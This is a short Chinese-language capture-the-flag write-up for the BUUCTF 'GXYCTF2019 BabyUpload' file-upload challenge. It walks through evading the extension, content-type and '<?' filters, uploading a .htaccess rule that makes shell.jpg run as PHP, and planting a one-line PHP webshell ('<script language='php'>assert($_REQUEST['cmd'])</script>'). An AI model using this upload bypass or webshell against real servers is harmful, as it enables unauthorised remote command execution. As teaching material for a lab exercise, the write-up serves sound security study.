0x00 题目介绍

参考网址:https://buuoj.cn/challenges#[GXYCTF2019]BabyUpload
0x01 上传检测
文件扩展名检测:后缀名不能包含ph,大小写均不可。
文件类型检测:content-type 只能是 image/jpeg
文件内容检测:过滤<?
0x02 详细思路
1.抓到上传包

2.重放包,发现不止后缀名检测,这里还有文件类型检测。

3.Content-type 修改为image/jpeg,继续重放包,发现上传成功。

但是只上传jpg格式远不能达到目的,这里通过burp爆破来获得可上传的后缀名!

我们发现.htaccess文件是可以成功上传的。

4.可利用.htaccess进行解析,先上传.htaccess文件,再上传jpg文件,将shell.jpg解析为php文件,下面就是对映解析代码!
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

5.上传shell.jpg,添加PHP一句话木马,发现这里好像对<?进行了过滤。

6.使用js编写一句话进行绕过 <? 检测,得到上传地址。
<script language='php'>assert($_REQUEST['cmd'])</script>

7.之后,使用webshell连接工具,或者使用show_source()函数,即可得到flag!
